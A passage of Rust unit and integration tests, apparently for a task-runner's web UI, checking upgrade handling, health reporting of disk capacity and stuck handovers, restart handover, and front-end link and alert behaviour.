22905                .upgrade_request_error
22906                .is_some()
22907        );
22908        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22909        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22910        assert!(
22911            health(State(ui.clone()))
22912                .await
22913                .unwrap()
22914                .0
22915                .upgrade_request_error
22916                .is_none()
22917        );
22918        let live = ui.lock_loop().live.take().unwrap();
22919        live.stop.stop();
22920        live.handle.await.unwrap();
22921    }
22922
22923    #[tokio::test]
22924    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22925        use crate::updater::Stage;
22926        let repo = TempDir::new().expect("repo dir");
22927        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22928            .expect("write magi.toml");
22929        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22930        for stage in [Stage::Done, Stage::Failed] {
22931            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22932            let res = fx.post("/api/upgrade", None).await;
22933            assert_eq!(res.status, 200, "{stage:?}");
22934        }
22935        // No record at all, and the gate was released by the earlier calls.
22936        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22937        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22938    }
22939
22940    #[tokio::test]
22941    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22942        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22943        // and the route answers from its own logic.
22944        //
22945        // This test used to lean on the fixture's placeholder repo failing
22946        // config discovery, which left `mode = "notify"` - and a live,
22947        // unauthenticated call to the GitHub releases API inside a unit test.
22948        // GitHub allows 60 of those an hour per address, so the suite went red
22949        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22950        // long as somebody kept re-running it: every attempt spent another
22951        // request. Six reruns across four pull requests were charged to that
22952        // before it was read as a rate limit rather than a flake.
22953        //
22954        // What the assertion is about is the "already current" branch, which
22955        // is reached by there being no newer release *or* nowhere to look. The
22956        // second one needs no network and cannot be rate limited.
22957        let repo = TempDir::new().expect("repo dir");
22958        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22959            .expect("write magi.toml");
22960        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22961
22962        // It must answer 200 and leave the process alone: restarting for an
22963        // upgrade that did not happen parks the run in flight and drops every
22964        // connection to pay for nothing. A probe against a deck already on the
22965        // newest build did exactly that, which is how this case got its own
22966        // branch.
22967        let res = fx.post("/api/upgrade", None).await;
22968        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22969        let body = res.json();
22970        assert!(body["to"].is_null(), "there was no release to move to");
22971        assert!(body["parked"].is_null(), "and nothing was parked");
22972        assert!(
22973            body["detail"]
22974                .as_str()
22975                .unwrap()
22976                .contains("nothing restarted"),
22977            "{body:?}"
22978        );
22979    }
22980
22981    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22982        tokio::time::timeout(Duration::from_secs(5), async {
22983            while state.lock().unwrap().in_flight {
22984                tokio::task::yield_now().await;
22985            }
22986        })
22987        .await
22988        .expect("capacity scan finished");
22989    }
22990
22991    fn disk_test_scope(home: &FsPath) -> DiskScope {
22992        DiskScope {
22993            runs: home.join("runs"),
22994            worktrees: home.join("worktrees"),
22995            cache: Some(home.join("cache")),
22996        }
22997    }
22998
22999    fn known_disk_capacity() -> DiskCapacity {
23000        DiskCapacity {
23001            free_bytes: Some(100),
23002            runs_bytes: Some(200),
23003            worktrees_bytes: Some(300),
23004            cache_bytes: Some(400),
23005        }
23006    }
23007
23008    #[tokio::test]
23009    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23010        let home = TempDir::new().unwrap();
23011        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23012        let mut ui = delta_test_ui(home.path());
23013        let state = Arc::get_mut(&mut ui).unwrap();
23014        state.repo = home.path().to_owned();
23015        state.worktrees_root = home.path().join("worktrees");
23016        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23017        ui.monitor
23018            .worker_started
23019            .store(true, std::sync::atomic::Ordering::SeqCst);
23020        let cfg = deputy_config(&ui.repo);
23021        let scope = DiskScope::of(&ui, cfg.as_ref());
23022        let (started, reached) = tokio::sync::oneshot::channel();
23023        let (release, blocked) = std::sync::mpsc::channel();
23024        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23025            started.send(()).unwrap();
23026            blocked.recv().unwrap();
23027            known_disk_capacity()
23028        });
23029        assert!(cold.runs_bytes.is_none());
23030        tokio::time::timeout(Duration::from_secs(5), reached)
23031            .await
23032            .unwrap()
23033            .unwrap();
23034
23035        let requests: Vec<_> = (0..4)
23036            .map(|_| {
23037                let ui = ui.clone();
23038                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23039            })
23040            .collect();
23041        tokio::time::timeout(Duration::from_secs(5), async {
23042            for request in requests {
23043                let view = request.await.unwrap();
23044                let disk = serde_json::to_value(view.disk).unwrap();
23045                assert!(disk["runs_bytes"].is_null());
23046                assert!(disk["worktrees_bytes"].is_null());
23047                // Free space is a cheap live observation even while the
23048                // recursive capacity measurement remains blocked.
23049                assert!(disk["free_bytes"].is_u64());
23050            }
23051        })
23052        .await
23053        .expect("health must return while the measurement is causally blocked");
23054        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23055        // No competing worker can have published while the first holds flight.
23056        assert!(
23057            ui.monitor
23058                .disk
23059                .lock()
23060                .unwrap()
23061                .capacity
23062                .runs_bytes
23063                .is_none()
23064        );
23065        release.send(()).unwrap();
23066        wait_for_disk_scan(&ui.monitor.disk).await;
23067        assert_eq!(
23068            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23069            Some(200)
23070        );
23071    }
23072
23073    #[tokio::test]
23074    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23075        let home = TempDir::new().unwrap();
23076        let scope = disk_test_scope(home.path());
23077        let state = Arc::new(Mutex::new(DiskObservation {
23078            scope: Some(scope.clone()),
23079            capacity: known_disk_capacity(),
23080            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23081            ..Default::default()
23082        }));
23083        let (started, reached) = tokio::sync::oneshot::channel();
23084        let (release, blocked) = std::sync::mpsc::channel();
23085        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23086            started.send(()).unwrap();
23087            blocked.recv().unwrap();
23088            DiskCapacity {
23089                runs_bytes: Some(250),
23090                ..Default::default()
23091            }
23092        });
23093        assert_eq!(before.cache_bytes, Some(400));
23094        tokio::time::timeout(Duration::from_secs(5), reached)
23095            .await
23096            .unwrap()
23097            .unwrap();
23098        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23099        for _ in 0..4 {
23100            let scans = duplicate_scans.clone();
23101            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23102                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23103                DiskCapacity::default()
23104            });
23105            assert_eq!(during.runs_bytes, Some(200));
23106            assert_eq!(during.cache_bytes, Some(400));
23107        }
23108        release.send(()).unwrap();
23109        wait_for_disk_scan(&state).await;
23110        let scans = duplicate_scans.clone();
23111        let after = DiskObservation::observe(&state, scope, move |_| {
23112            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23113            DiskCapacity::default()
23114        });
23115        wait_for_disk_scan(&state).await;
23116        assert_eq!(after.runs_bytes, Some(250));
23117        assert_eq!(after.free_bytes, Some(100));
23118        assert_eq!(after.cache_bytes, Some(400));
23119        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23120        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23121    }
23122
23123    #[tokio::test]
23124    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23125        let home = TempDir::new().unwrap();
23126        let old_scope = disk_test_scope(home.path());
23127        let mut new_scope = old_scope.clone();
23128        new_scope.cache = Some(home.path().join("replacement-cache"));
23129        let state = Arc::new(Mutex::new(DiskObservation {
23130            scope: Some(old_scope.clone()),
23131            capacity: known_disk_capacity(),
23132            ..Default::default()
23133        }));
23134        let (started, reached) = tokio::sync::oneshot::channel();
23135        let (release, blocked) = std::sync::mpsc::channel();
23136        DiskObservation::observe(&state, old_scope, move |_| {
23137            started.send(()).unwrap();
23138            blocked.recv().unwrap();
23139            known_disk_capacity()
23140        });
23141        tokio::time::timeout(Duration::from_secs(5), reached)
23142            .await
23143            .unwrap()
23144            .unwrap();
23145        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23146        let scans = duplicate_scans.clone();
23147        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23148            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23149            DiskCapacity::default()
23150        });
23151        assert!(changed.cache_bytes.is_none());
23152        assert!(changed.runs_bytes.is_none());
23153        release.send(()).unwrap();
23154        wait_for_disk_scan(&state).await;
23155        {
23156            let observation = state.lock().unwrap();
23157            assert!(observation.capacity.cache_bytes.is_none());
23158            assert!(observation.finished.is_none());
23159        }
23160        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23161            assert_eq!(scope, &new_scope);
23162            DiskCapacity {
23163                cache_bytes: Some(999),
23164                ..Default::default()
23165            }
23166        });
23167        wait_for_disk_scan(&state).await;
23168        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23169        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23170    }
23171
23172    #[tokio::test]
23173    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23174        let home = TempDir::new().unwrap();
23175        let scope = disk_test_scope(home.path());
23176        let state = Arc::new(Mutex::new(DiskObservation {
23177            scope: Some(scope.clone()),
23178            capacity: known_disk_capacity(),
23179            ..Default::default()
23180        }));
23181        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23182        wait_for_disk_scan(&state).await;
23183        {
23184            let mut observation = state.lock().unwrap();
23185            assert_eq!(observation.capacity.cache_bytes, Some(400));
23186            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23187            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23188        }
23189        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23190            cache_bytes: Some(450),
23191            ..Default::default()
23192        });
23193        wait_for_disk_scan(&state).await;
23194        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23195    }
23196
23197    #[test]
23198    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23199        let home = TempDir::new().unwrap();
23200        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23201        assert_eq!(disk_capacity_size(home.path()), Some(0));
23202        std::fs::create_dir(home.path().join("nested")).unwrap();
23203        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23204        assert_eq!(disk_capacity_size(home.path()), Some(5));
23205        #[cfg(unix)]
23206        {
23207            // Unix distinguishes an invalid descendant lookup from absence.
23208            assert_eq!(
23209                disk_capacity_size(&home.path().join("nested/data/child")),
23210                None
23211            );
23212        }
23213        #[cfg(unix)]
23214        {
23215            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23216            assert_eq!(disk_capacity_size(home.path()), Some(5));
23217        }
23218    }
23219
23220    #[tokio::test]
23221    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23222        // `mode = "off"` for the same reason as the test above: a default
23223        // fixture repo falls back to `mode = "notify"`, which would make this
23224        // route's new `update` field a live, unauthenticated GitHub call on
23225        // every assertion in this suite that happens to hit `/api/health`.
23226        let repo = TempDir::new().expect("repo dir");
23227        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23228            .expect("write magi.toml");
23229        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23230
23231        let health = fx.get("/api/health").await.json();
23232        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23233        assert_eq!(
23234            health["update"]["available"], false,
23235            "checking is off, which reads as \"unknown\", not \"none\""
23236        );
23237        assert!(health["update"]["to"].is_null());
23238        assert!(
23239            health["upgrade"].is_null(),
23240            "nothing has ever asked this deck to upgrade"
23241        );
23242    }
23243
23244    #[tokio::test]
23245    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23246        let fx = Fixture::start().await;
23247        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23248
23249        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23250        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23251        progress.advance(crate::updater::Stage::Parking);
23252        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23253
23254        let health = fx.get("/api/health").await.json();
23255        assert_eq!(health["upgrade"]["stage"], "parking");
23256        assert_eq!(health["upgrade"]["from"], "0.5.1");
23257        assert_eq!(health["upgrade"]["to"], "0.5.2");
23258        let waiting_on = health["upgrade"]["waiting_on"]
23259            .as_str()
23260            .expect("waiting_on is set while parking a known run");
23261        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23262        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23263    }
23264
23265    #[tokio::test]
23266    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23267        let fx = Fixture::start().await;
23268        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23269        progress.advance(crate::updater::Stage::Done);
23270        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23271
23272        let health = fx.get("/api/health").await.json();
23273        assert_eq!(health["upgrade"]["stage"], "done");
23274        assert!(
23275            health["upgrade"]["waiting_on"].is_null(),
23276            "nothing to wait on once it is done"
23277        );
23278    }
23279
23280    /// The handover signal is seen however the race falls, and wakes its one
23281    /// waiter once per signal - nothing here can spin.
23282    #[tokio::test]
23283    async fn the_handover_signal_wakes_one_waiter_once() {
23284        let signal = Notify::new();
23285        // Signalled before anyone waits: the stored permit is not lost.
23286        signal.notify_one();
23287        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23288            .await
23289            .expect("an early signal is still seen");
23290        // One signal, one wake-up: a second wait does not resolve by itself.
23291        assert!(
23292            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23293                .await
23294                .is_err(),
23295            "a consumed signal must not wake a second time"
23296        );
23297        // Signalled while waiting.
23298        let signal = std::sync::Arc::new(signal);
23299        let waiter = tokio::spawn({
23300            let signal = std::sync::Arc::clone(&signal);
23301            async move { wait_for_handover(&signal).await }
23302        });
23303        tokio::time::sleep(Duration::from_millis(20)).await;
23304        assert!(!waiter.is_finished(), "nothing was signalled yet");
23305        signal.notify_one();
23306        tokio::time::timeout(Duration::from_secs(5), waiter)
23307            .await
23308            .expect("a late signal wakes the waiter")
23309            .expect("join");
23310    }
23311
23312    #[tokio::test]
23313    async fn health_says_how_long_a_handover_has_been_stuck() {
23314        let fx = Fixture::start().await;
23315        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23316        progress.advance(crate::updater::Stage::Replaced);
23317        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23318        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23319
23320        let health = fx.get("/api/health").await.json();
23321        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23322        assert!(stuck >= 600, "{stuck}");
23323        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23324        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23325    }
23326
23327    #[tokio::test]
23328    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23329        let home = tempfile::tempdir().expect("temp home");
23330        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23331        progress.advance(crate::updater::Stage::Parking);
23332        crate::updater::write_progress(home.path(), &progress).expect("seed");
23333        // What the second upgrade_and_restart and its handler do.
23334        let mut again = progress.clone();
23335        again.advance(crate::updater::Stage::Replaced);
23336        crate::updater::write_progress(home.path(), &again).expect("replaced");
23337        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23338        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23339        let after = crate::updater::read_progress(home.path()).expect("record");
23340        assert_eq!(after.stage, crate::updater::Stage::Parking);
23341    }
23342
23343    #[tokio::test]
23344    async fn health_does_not_call_a_live_parking_wait_stuck() {
23345        let fx = Fixture::start().await;
23346        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23347        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23348        progress.advance(crate::updater::Stage::Parking);
23349        let hours = Duration::from_secs(3 * 3600);
23350        progress.started_at = Timestamp::now() - hours;
23351        progress.updated_at = Timestamp::now() - hours;
23352        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23353        let _lease = crate::updater::LeaseGuard::enter(
23354            fx.home.path(),
23355            Some("20260905-000000-cd51".to_owned()),
23356        );
23357
23358        let health = fx.get("/api/health").await.json();
23359        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23360        assert!(health["upgrade"]["stuck_kind"].is_null());
23361        assert_eq!(health["upgrade"]["handover_alive"], true);
23362        let waiting_on = health["upgrade"]["waiting_on"]
23363            .as_str()
23364            .expect("waiting_on");
23365        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23366    }
23367
23368    fn idle_ui(home: &TempDir) -> Ui {
23369        let runs = home.path().join("runs");
23370        std::fs::create_dir_all(&runs).expect("runs dir");
23371        Ui::new(
23372            Queue::at(home.path().join("queue")),
23373            Questions::at(home.path().join("questions")),
23374            Talks::at(home.path().join("talks")),
23375            runs,
23376            home.path().to_path_buf(),
23377            PathBuf::from("/repo/magi"),
23378        )
23379        .with_launch(launch_idle)
23380    }
23381
23382    #[tokio::test]
23383    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
23384        let home = TempDir::new().expect("temp home");
23385        let ui = idle_ui(&home);
23386        let lease = crate::worker::try_lease(home.path(), "scheduler")
23387            .expect("scheduler lease")
23388            .expect("free");
23389        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
23390            .expect("request stop");
23391        let error = ui
23392            .start_detached_loop()
23393            .await
23394            .expect_err("transition is still live");
23395        assert_eq!(error.status, StatusCode::CONFLICT);
23396        assert!(error.message.contains("still running or stopping"));
23397        assert_eq!(
23398            crate::worker::control(home.path(), "scheduler").unwrap(),
23399            Some(crate::worker::Control::Stop)
23400        );
23401        drop(lease);
23402    }
23403
23404    #[tokio::test]
23405    async fn handover_releases_listener_without_waiting_for_execution_leases() {
23406        let home = TempDir::new().expect("temp home");
23407        let ui = idle_ui(&home);
23408        let turns = ui
23409            .begin_talk_turn("active-chat")
23410            .expect("claim")
23411            .expect("free");
23412        let execution = crate::worker::try_lease(home.path(), "active-task")
23413            .expect("execution lease")
23414            .expect("free");
23415        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23416            .await
23417            .expect("bind loopback");
23418        let address = listener.local_addr().expect("address");
23419        let admissions = Arc::clone(&ui.admissions);
23420        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23421        let successor_started = std::sync::atomic::AtomicBool::new(false);
23422        tokio::time::timeout(
23423            Duration::from_secs(2),
23424            hand_over(home.path(), &admissions, served, || {
23425                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23426                Ok(1)
23427            }),
23428        )
23429        .await
23430        .expect("restart must not wait for execution")
23431        .expect("handover");
23432        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23433        // BSD may retain the address briefly after listener release. The real
23434        // successor uses the same bounded bind retry rather than a one-shot bind.
23435        let successor = bind_waiting(address)
23436            .await
23437            .expect("successor binds released address");
23438        assert_eq!(successor.local_addr().unwrap(), address);
23439        assert!(turns.owns(), "the chat lease survives restart");
23440        assert!(
23441            crate::worker::try_lease(home.path(), "active-task")
23442                .unwrap()
23443                .is_none()
23444        );
23445        drop(execution);
23446        drop(turns);
23447    }
23448
23449    #[tokio::test]
23450    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23451        let home = TempDir::new().expect("temp home");
23452        let ui = idle_ui(&home);
23453        let admission = ui.begin_admission().expect("admit send");
23454        let turn = ui
23455            .begin_talk_turn("active-chat")
23456            .expect("claim")
23457            .expect("free");
23458        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23459            .await
23460            .expect("bind loopback");
23461        let address = listener.local_addr().expect("address");
23462        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23463        let successor_called = std::sync::atomic::AtomicBool::new(false);
23464        let handover = hand_over(home.path(), &ui.admissions, served, || {
23465            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23466            Ok(1)
23467        });
23468        tokio::pin!(handover);
23469        // Poll exactly to the writer waiting on our admission guard. This
23470        // pins the race without sleeps or assumptions about task scheduling.
23471        std::future::poll_fn(|cx| {
23472            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23473            std::task::Poll::Ready(())
23474        })
23475        .await;
23476        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23477        assert!(
23478            ui.begin_admission().is_err(),
23479            "new ingress cannot race the drain"
23480        );
23481        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23482        drop(admission);
23483        tokio::time::timeout(Duration::from_secs(2), handover)
23484            .await
23485            .expect("only publication may delay restart")
23486            .expect("handover");
23487        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23488        assert!(
23489            turn.owns(),
23490            "the detached chat turn is not awaited or cancelled"
23491        );
23492        assert!(
23493            ui.begin_admission().is_err(),
23494            "old accepted connections stay closed"
23495        );
23496        drop(turn);
23497    }
23498
23499    #[test]
23500    fn health_worker_metadata_never_contains_payload_or_result() {
23501        let view = WorkerView::from(crate::worker::Job {
23502            id: "job".into(),
23503            sequence: 1,
23504            kind: "service".into(),
23505            key: "maintenance".into(),
23506            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23507            generation: "generation".into(),
23508            version: Some("1.2.3".into()),
23509            status: crate::worker::Status::Running,
23510            result: Some("private diagnostics".into()),
23511            pid: Some(4242),
23512            created_at: 1,
23513            finished_at: None,
23514        });
23515        let value = serde_json::to_value(view).expect("serialize public metadata");
23516        assert_eq!(value["version"], "1.2.3");
23517        assert_eq!(value["pid"], 4242);
23518        assert!(value.get("payload").is_none());
23519        assert!(value.get("result").is_none());
23520        assert!(!value.to_string().contains("private"));
23521    }
23522
23523    #[test]
23524    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23525        let home = TempDir::new().expect("temp home");
23526        let ui = idle_ui(&home);
23527        std::fs::write(
23528            home.path().join("daemon.json"),
23529            serde_json::json!({
23530                "schema": 2, "pid": 4242, "worker_protocol": 1,
23531                "updated_at": Timestamp::now().to_string(), "idle": true,
23532            })
23533            .to_string(),
23534        )
23535        .expect("status");
23536        let reading = daemon::read_status(home.path());
23537        assert!(Foreign::of(reading.as_ref()).is_none());
23538        let view = ui.runtime_loop_view(reading, &[]);
23539        assert!(view.running);
23540        assert!(view.owned);
23541    }
23542
23543    #[test]
23544    fn only_an_explicit_one_requests_a_resume() {
23545        assert!(!resume_requested(None));
23546        assert!(!resume_requested(Some("0".into())));
23547        assert!(!resume_requested(Some("".into())));
23548        assert!(resume_requested(Some("1".into())));
23549    }
23550
23551    #[test]
23552    fn an_error_is_visible_from_where_the_button_is() {
23553        // The alert used to sit in the flow under the header. On a phone
23554        // scrolled 13 500 px down to a run's action sheet that is off screen,
23555        // so tapping Resume and being told "the loop is running run b455
23556        // right now" looked exactly like a button that did nothing.
23557        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23558            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23559        assert!(
23560            alert.contains("position: fixed"),
23561            "an error about the thing under your thumb has to be visible from \
23562             where your thumb is: {alert}"
23563        );
23564        assert!(
23565            alert.contains("z-index: 25"),
23566            "above the dock (20) and the run-actions FAB (15), so neither \
23567             buries it: {alert}"
23568        );
23569        assert!(
23570            alert.contains("var(--tap)"),
23571            "and clear of the dock and the home indicator: {alert}"
23572        );
23573        // The FAB sits at the same height on the right. An error that covered
23574        // it would hide the button the operator reaches for next.
23575        assert!(
23576            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23577            "the FAB's column stays free: {alert}"
23578        );
23579    }
23580
23581    #[tokio::test]
23582    async fn an_older_attempt_says_what_replaced_it() {
23583        let fx = Fixture::start().await;
23584        let q = fx.queue();
23585        let runs = fx.runs();
23586        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23587        write_run(&runs, first, RunStatus::Stalled);
23588        write_run(&runs, second, RunStatus::Blocked);
23589
23590        let mut t = Task::new(
23591            "one task".to_owned(),
23592            "do it".to_owned(),
23593            PathBuf::from("/repo"),
23594            Source::Human,
23595        );
23596        t.runs = vec![first.to_owned(), second.to_owned()];
23597        q.put(&mut t).expect("put");
23598
23599        // Two cards with the same title and no hint which is which was the
23600        // question: "why are there two of the same, one stalled and one
23601        // blocked?" The older one now names its replacement.
23602        let rows = fx.get("/api/runs").await.json();
23603        let by = |short: &str| -> Value {
23604            rows.as_array()
23605                .unwrap()
23606                .iter()
23607                .find(|r| r["short"] == short)
23608                .cloned()
23609                .unwrap_or(Value::Null)
23610        };
23611        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23612        assert!(
23613            by("bbbb")["superseded_by"].is_null(),
23614            "the latest attempt is not superseded by anything"
23615        );
23616        // Front end: the note has to be rendered, not just carried.
23617        assert!(APP_JS.contains("run.superseded_by"));
23618        assert!(APP_JS.contains("Superseded by"));
23619    }
23620
23621    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23622        let mut t = Task::new(
23623            "one task".to_owned(),
23624            "do it".to_owned(),
23625            PathBuf::from("/repo"),
23626            Source::Human,
23627        );
23628        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23629        t.status = status;
23630        t
23631    }
23632
23633    #[test]
23634    fn source_link_picks_the_page_that_filed_the_task() {
23635        let agent = |node: &str| Source::Agent {
23636            run: "20260904-014455-ab12".to_owned(),
23637            node: node.to_owned(),
23638        };
23639        let chat = source_link(&agent("chat")).expect("chat link");
23640        assert_eq!(chat.kind, "chat");
23641        assert_eq!(chat.id, "20260904-014455-ab12");
23642        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23643        let run = source_link(&agent("implement")).expect("run link");
23644        assert_eq!(
23645            (run.kind, run.href.as_str()),
23646            ("run", "#/runs/20260904-014455-ab12")
23647        );
23648        assert_eq!(source_link(&Source::Human), None);
23649        assert_eq!(
23650            source_link(&Source::Issue {
23651                number: 3,
23652                repo: "o/r".to_owned()
23653            }),
23654            None
23655        );
23656        let odd = source_link(&Source::Agent {
23657            run: "a b/c".to_owned(),
23658            node: "chat".to_owned(),
23659        })
23660        .expect("link");
23661        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23662    }
23663
23664    #[test]
23665    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23666        assert!(
23667            !APP_JS.contains("src.node === \"chat\""),
23668            "inline href rule is back"
23669        );
23670        assert!(
23671            APP_JS.matches("sourceLinkOf(").count() >= 4,
23672            "helper must serve every page"
23673        );
23674        assert!(
23675            APP_JS.matches("openChatLink(").count() >= 3,
23676            "the run page still needs its explicit chat link"
23677        );
23678        assert!(
23679            !APP_JS.contains("const openChat = el("),
23680            "the Queue card duplicates its source label link again"
23681        );
23682        assert!(
23683            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23684            "the task page must link a chat source label too"
23685        );
23686    }
23687
23688    #[test]
23689    fn task_ref_carries_the_source_link_for_a_chat_task() {
23690        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23691        t.source = Source::Agent {
23692            run: "20260904-014455-ab12".to_owned(),
23693            node: "chat".to_owned(),
23694        };
23695        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23696        let v = serde_json::to_value(&out).expect("json");
23697        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23698        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23699        assert_eq!(v["source_label"], t.source.label());
23700
23701        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23702        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23703            .expect("json");
23704        assert!(v["source_link"].is_null(), "{v}");
23705    }
23706
23707    #[test]
23708    fn task_view_serializes_source_link() {
23709        let mut t = Task::new(
23710            "t".to_owned(),
23711            "t".to_owned(),
23712            PathBuf::from("/repo"),
23713            Source::Agent {
23714                run: "20260901-000000-aaaa".to_owned(),
23715                node: "implement".to_owned(),
23716            },
23717        );
23718        t.runs.clear();
23719        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23720        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23721        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23722    }
23723
23724    #[test]
23725    fn task_view_serializes_urgent_flag() {
23726        let mut t = Task::new(
23727            "t".to_owned(),
23728            "t".to_owned(),
23729            PathBuf::from("/repo"),
23730            Source::Human,
23731        );
23732        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23733        assert_eq!(v["urgent"], false, "{v}");
23734        t.urgent = true;
23735        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23736        assert_eq!(v["urgent"], true, "{v}");
23737        assert!(APP_JS.contains("task.urgent === true"));
23738    }
23739
23740    #[tokio::test]
